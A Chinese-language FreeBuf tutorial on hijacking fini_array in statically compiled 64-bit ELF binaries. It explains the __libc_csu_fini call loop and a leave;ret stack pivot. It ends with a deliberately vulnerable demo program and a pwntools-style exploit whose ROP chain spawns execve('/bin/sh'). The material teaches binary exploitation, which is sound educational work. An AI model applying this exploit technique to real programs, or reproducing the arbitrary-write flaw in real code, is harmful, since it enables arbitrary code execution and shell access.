詳解64位靜態編譯程序的fini_array劫持及ROP攻擊
用gdb調試main函數的時候,不難發現main的返回地址是__libc_start_main也就是說main並不是程序真正開始的地方,__libc_start_main是main的爸爸。
然鵝,__libc_start_main也有爸爸,他就是_start也就是Entry point程序的進入點啦,可以通過readelf -h查看:
ELF Header: Magic: 7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - GNU ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x401a60 Start of program headers: 64 (bytes into file) Start of section headers: 835672 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 8 Size of section headers: 64 (bytes) Number of section headers: 31 Section header string table index: 30
(這是一個64位靜態編譯的ELF程序)其中,Entry point address: 0x401a60就是_start的地址:
.text:0000000000401A60 public start .text:0000000000401A60 start proc near ; DATA XREF: LOAD:0000000000400018↑o .text:0000000000401A60 ; __unwind { .text:0000000000401A60 xor ebp, ebp .text:0000000000401A62 mov r9, rdx .text:0000000000401A65 pop rsi .text:0000000000401A66 mov rdx, rsp .text:0000000000401A69 and rsp, 0FFFFFFFFFFFFFFF0h .text:0000000000401A6D push rax .text:0000000000401A6E push rsp .text:0000000000401A6F mov r8, offset sub_402BD0 ; fini .text:0000000000401A76 mov rcx, offset loc_402B40 ; init .text:0000000000401A7D mov rdi, offset main .text:0000000000401A84 db 67h .text:0000000000401A84 call __libc_start_main .text:0000000000401A8A hlt .text:0000000000401A8A ; } // starts at 401A60 .text:0000000000401A8A start endp
x64是通過寄存器來保存函數參數的:
rdi - first argument rsi - second argument rdx - third argument rcx - fourth argument r8 - fifth argument r9 - sixth argument
可以發現__libc_start_main函數的參數中,有3個是函數指針:
rdi <- main rcx <- __libc_csu_init r8 <- __libc_csu_fini
不難想到,除main以外的這兩位兄弟,一位在main開始執行前執行,一位在main執行完畢後執行
__libc_csu_fini就是在main執行完畢後執行的那位
這兄弟雖然只有短短几行指令,但是能利用的點卻賊多,他長這樣:
pwndbg> x/20i 0x402bd0 0x402bd0 <__libc_csu_fini>: push rbp 0x402bd1 <__libc_csu_fini+1>: lea rax,[rip+0xb24e8] # 0x4***c0 0x402bd8 <__libc_csu_fini+8>: lea rbp,[rip+0xb24d1] # 0x4***b0 0x402bdf <__libc_csu_fini+15>: push rbx 0x402be0 <__libc_csu_fini+16>: sub rax,rbp 0x402be3 <__libc_csu_fini+19>: sub rsp,0x8 0x402be7 <__libc_csu_fini+23>: sar rax,0x3 0x402beb <__libc_csu_fini+27>: je 0x402c06 <__libc_csu_fini+54> 0x402bed <__libc_csu_fini+29>: lea rbx,[rax-0x1] 0x402bf1 <__libc_csu_fini+33>: nop DWORD PTR [rax+0x0] 0x402bf8 <__libc_csu_fini+40>: call QWORD PTR [rbp+rbx*8+0x0] 0x402bfc <__libc_csu_fini+44>: sub rbx,0x1 0x402c00 <__libc_csu_fini+48>: cmp rbx,0xffffffffffffffff 0x402c04 <__libc_csu_fini+52>: jne 0x402bf8 <__libc_csu_fini+40> 0x402c06 <__libc_csu_fini+54>: add rsp,0x8 0x402c0a <__libc_csu_fini+58>: pop rbx 0x402c0b <__libc_csu_fini+59>: pop rbp 0x402c0c <__libc_csu_fini+60>: jmp 0x48f52c <_fini>
下面先概括的說下這個函數可利用的點,在後面會詳細分析:
首先,看下面這條指令:
0x402bd8: lea rbp,[rip+0xb24d1] # 0x4***b0
rbp = 0×4***b0,0×4***b0是fini_array的首地址
這條指令相當於lea rbp,[fini_array]
因此,在這裏配合gadget:
leave ; (mov rsp,ebp; pop rbp) ret
可以把棧遷移到fini_array(fini_array存儲的函數指針,自然有寫權限)
其次,下面有一條call指令:
0x402bf8: call QWORD PTR [rbp+rbx*8]
rbp即爲fini_array,因此這裏將調用fini_array中的函數
只要修改fini_array中的值,就可以實現控制流的轉移啦(傳說中的fini_array劫持)
由此可見靜態編譯程序的__libc_csu_fini簡直好用的不得了鴨,既可以完成棧遷移,又能夠劫持控制流
p.s. 動態鏈接的程序__libc_csu_fini很短,並沒有上述指令..
fini_array的地址可通過查看靜態編譯程序的section信息獲得:
pwndbg> elfheader 0x400200 - 0x400224 .note.gnu.build-id 0x400224 - 0x400244 .note.ABI-tag 0x400248 - 0x400470 .rela.plt 0x401000 - 0x401017 .init 0x401018 - 0x4010d0 .plt 0x4010d0 - 0x48d630 .text 0x48d630 - 0x48f52b __libc_freeres_fn 0x48f52c - 0x48f535 .fini 0x490000 - 0x4a95dc .rodata 0x4a95dc - 0x4a95dd .stapsdt.base 0x4a95e0 - 0x4b3d00 .eh_frame 0x4b3d00 - 0x4b3da9 .gcc_except_table 0x4***80 - 0x4***a0 .tdata 0x4***a0 - 0x4***b0 .init_array 0x4***a0 - 0x4***e0 .tbss 0x4***b0 - 0x4***c0 .fini_array 0x4***c0 - 0x4b7ef4 .data.rel.ro 0x4b7ef8 - 0x4b7fe8 .got 0x4b8000 - 0x4b80d0 .got.plt 0x4b80e0 - 0x4b9bf0 .data 0x4b9bf0 - 0x4b9c38 __libc_subfreeres 0x4b9c40 - 0x4ba2e8 __libc_IO_vtables 0x4ba2e8 - 0x4ba2f0 __libc_atexit 0x4ba300 - 0x4bba78 .bss 0x4bba78 - 0x4bbaa0 __libc_freeres_ptrs
其中0×4***b0 – 0×4***c0即.fini_array數組,其中存在兩個函數指針:
pwndbg> x/2xg 0x4***b0 0x4***b0: 0x0000000000401b10 0x0000000000401580 pwndbg> x/i 0x0000000000401b10 0x401b10 <__do_global_dtors_aux>: cmp BYTE PTR [rip+0xb87e9],0x0 pwndbg> x/i 0x0000000000401580 0x401580 <fini>: mov rax,QWORD PTR [rip+0xb9b71]
array[0]:__do_global_dtors_aux array[1]:fini
這兩個函數都會在main執行完畢後執行,因此可以覆蓋這兩個函數指針,即可實現控制流的劫持
此外,靜態鏈接的程序也有PLT表和GOT表,也可以覆蓋通過GOT中的函數指針實現控制流劫持
上述fini_array中的兩個函數指針在__libc_csu_fini(上文說的那位兄弟)中被執行
執行的順序是array[1]->array[0]
於是,有了一種比較好玩兒的操作:
把array[0]的值覆蓋爲那位兄弟(__libc_csu_fini函數)的地址
把array[1]的值覆蓋爲另一個函數地址,就叫他addrA吧
於是,main執行完畢後執行__libc_csu_fini,於是有意思的來了!
__libc_csu_fini先執行一遍array[1]:addrA,返回後再執行array[0]:__libc_csu_fini
__libc_csu_fini先執行一遍array[1]:addrA,返回後再執行array[0]:__libc_csu_fini
__libc_csu_fini先執行一遍array[1]:addrA,返回後再執行array[0]:__libc_csu_fini
……
看!連起來啦~ main->__libc_csu_fini->addrA->__libc_csu_fini->addrA-> ……
因吹斯汀~
詳細的過程如下:
0x402bd1 <__libc_csu_fini+1>: lea rax,[rip+0xb24e8] # 0x4***c0 0x402bd8 <__libc_csu_fini+8>: lea rbp,[rip+0xb24d1] # 0x4***b0 0x402bdf <__libc_csu_fini+15>: push rbx 0x402be0 <__libc_csu_fini+16>: sub rax,rbp 0x402be3 <__libc_csu_fini+19>: sub rsp,0x8 0x402be7 <__libc_csu_fini+23>: sar rax,0x3
rax = 0×4***c0 – 0×4***b0 = 0×10
rax = 0×10 >> 3 = 2
0x402bed <__libc_csu_fini+29>: lea rbx,[rax-0x1] 0x402bf1 <__libc_csu_fini+33>: nop DWORD PTR [rax+0x0] 0x402bf8 <__libc_csu_fini+40>: call QWORD PTR [rbp+rbx*8+0x0]
rbx = rax-1 = 1
call [rbp+rbx*8+0x0]即call array[1]即call addrA
0x402bfc <__libc_csu_fini+44>: sub rbx,0x1 0x402c00 <__libc_csu_fini+48>: cmp rbx,0xffffffffffffffff 0x402c04 <__libc_csu_fini+52>: jne 0x402bf8 <__libc_csu_fini+40>
addrA執行完畢後返回到0x402bfc
rbx = rbp – 1 = 0
rbx != -1,於是程序控制流又回到了那位兄弟手中:
0x402bf8 <__libc_csu_fini+40>: call QWORD PTR [rbp+rbx*8+0x0]
此時執行的是call array[1]即call __libc_csu_fini(call自己個兒啊)
於是循環往復,只要array[0]中的__libc_csu_fini值不變,程序就會一直循環執行addrA
當然,將array[1]中的addrA改成其他的addrB、addrC也都會執行
想要終止循環,只需把array[0]中的__libc_csu_fini換掉即可
就這樣,那位兄弟只要佔住了array[0]這個坑,就可以讓addrA無限次的執行下去啦
小結一下:
x64靜態編譯程序,劫持fini_array
array[0]覆蓋爲__libc_csu_fini array[1]覆蓋爲另一地址addrA
程序將循環執行addrA
終止條件爲array[0]不再爲__libc_csu_fini
相當於:
while (array[0] == __libc_csu_fini){ addrA(); }
比如addrA中存在任意寫一字節內存漏洞,通過上面這個循環就可以實現任意寫多字節
至於ROP攻擊,可以通過上述的棧遷移來實現
leave; ret相當於執行如下操作:
mov rsp, rbp (fini_array->rsp) pop rbp (fini_array->rbp) ret (fini_array+0×8->ret )
這裏有兩種棧遷移方法: 第一種:在array[1]處遷移棧(需遷移兩次
fini_array+0×0:(data)fini_array+0×8 fini_array+0×8:(gadget)leave_ret fini_array+0×10:rop chain
第二種:跳過array[1],在array[0]處遷移棧
fini_array+0×0:(gadget)leave_ret fini_array+0×8:(gadget)ret fini_array+0×10:rop chain
這兩種方法都可以達到棧遷移的目的,直接說比較難理解,待會實際調試一下就明白啦(下面有例子) 總之,向fini_array+0×10,fini_array+0×18…中依次佈置gadget 構造好了ROP鏈,就可以完成ROP攻擊啦~
舉個栗子
#include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]){ char buf[30]; write(1,"addr:",5); read(0,&buf,200); int *addr = buf; write(1,"data:",5); read(0,*addr,24); return 0; }
$ gcc demo.c -no-pie --static -o demo
很明顯,存在任意寫內存的漏洞,可以改寫任意內存位置的連續24個字節。利用方式如下:
ru('addr:') sl(p64(addr)) ru('data:') se(p64(data1)+p64(data2)+p64(data3))
24字節顯然不夠,於是可以用上文提到的循環大法:
array[0]:__libc_csu_fini array[1]:main
讓main函數多執行幾次,這樣就可以控制足夠大的內存空間,往裏面佈置ROP鏈啦~
就這個栗子而言,ROP攻擊的思路大概是這樣:
利用任意寫,劫持fini_array
循環執行main,利用任意寫,將ROP鏈佈置到fini_array+0×10
終止循環,並將棧遷移到fini_array+0×10執行ROP鏈
劫持fini_array+循環大法:
ru('addr:') sl(p64(fini_array)) ru('data:') se(p64(libc_csu_fini)+p64(main))
佈置ROP鏈:執行SYS_execve(‘/bin/sh’,0,0),需要完成以下寄存器的佈局:
RAX 0x3b RDI addr -> '/bin/sh' RDX 0 RSI 0
對應的ROP鏈如下:
pop_rdi=0x00000000004016a6 # pop rdi ; ret pop_rax=0x0000000000447bbc # pop rax ; ret pop_rdx_rsi=0x000000000044a659 # pop rdx ; pop rsi ; ret syscall = 0x0000000000402434 # syscall bin_sh_addr=fini_array+0x50 # ropchain start at fini_array+0x10 ropchain = [p64(pop_rdi),p64(bin_sh_addr), p64(pop_rax),p64(0x3b), p64(pop_rdx_rsi),p64(0),p64(0), p64(syscall), "/bin/sh\x00"] # write ropchain to fini_array for i in range(len(ropchain)): ru('addr:') sl(p64(fini_array+0x10+i*8)) ru('data:') se(ropchain[i])
現在佈置完了ROP鏈,可以跳出循環了,跳出循環後,通過leave_ret完成棧遷移,執行ROP鏈:
ru('addr:') sl(p64(fini_array)) ru('data:') se(p64(leave)+p64(ret)) # break loop and stack pivot
這裏用的是上文中的第二種棧遷移方式:
fini_array+0×0:(gadget)leave_ret fini_array+0×8:(gadget)ret fini_array+0×10:rop chain
這是因爲循環大法中的array[1]是main,main返回後將執行array[0]處的函數:
leave執行前:
► 0x401c29 <main+172> leave 0x401c2a <main+173> ret ↓ 0x401016 <_init+22> ret ↓ 0x4016a6 <init_cacheinfo+230> pop rdi 0x4016a7 <init_cacheinfo+231> ret ↓ 0x447bbc <__open_nocancel+92> pop rax pwndbg> x/10xg $rsp 0x7fff85f385c8: 0x0000000000402bfc 0x00000000004***f8 0x7fff85f385d8: 0x0000000000000000 0x00000000004***b0 0x7fff85f385e8: 0x0000000000402bfc 0x00000000004***f0 0x7fff85f385f8: 0x0000000000000000 0x00000000004***b0 0x7fff85f38608: 0x0000000000402bfc 0x00000000004***e8
leave執行後:
棧被遷移到fini_array+0×8,即array[1],但是這裏並不是ROP鏈的開始
在array[1]這裏用只含ret一個指令的gadget,讓控制流後移,進入到fini_array+0×10的ROP鏈中
0x401c29 <main+172> leave ► 0x401c2a <main+173> ret <0x401016; _init+22> ↓ 0x401016 <_init+22> ret ↓ 0x4016a6 <init_cacheinfo+230> pop rdi 0x4016a7 <init_cacheinfo+231> ret ↓ 0x447bbc <__open_nocancel+92> pop rax pwndbg> x/10xg $rsp 0x4***b8: 0x0000000000401016 0x00000000004016a6 0x4***c8: 0x00000000004b5100 0x0000000000447bbc 0x4***d8: 0x000000000000003b 0x000000000044a659 0x4***e8: 0x0000000000000000 0x0000000000000000 0x4***f8: 0x0000000000402434 0x0068732f6e69622f
ROP鏈執行完畢後就會執行SYS_execve(‘/bin/sh’,0,0)啦~
*本文原創作者:taqini,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載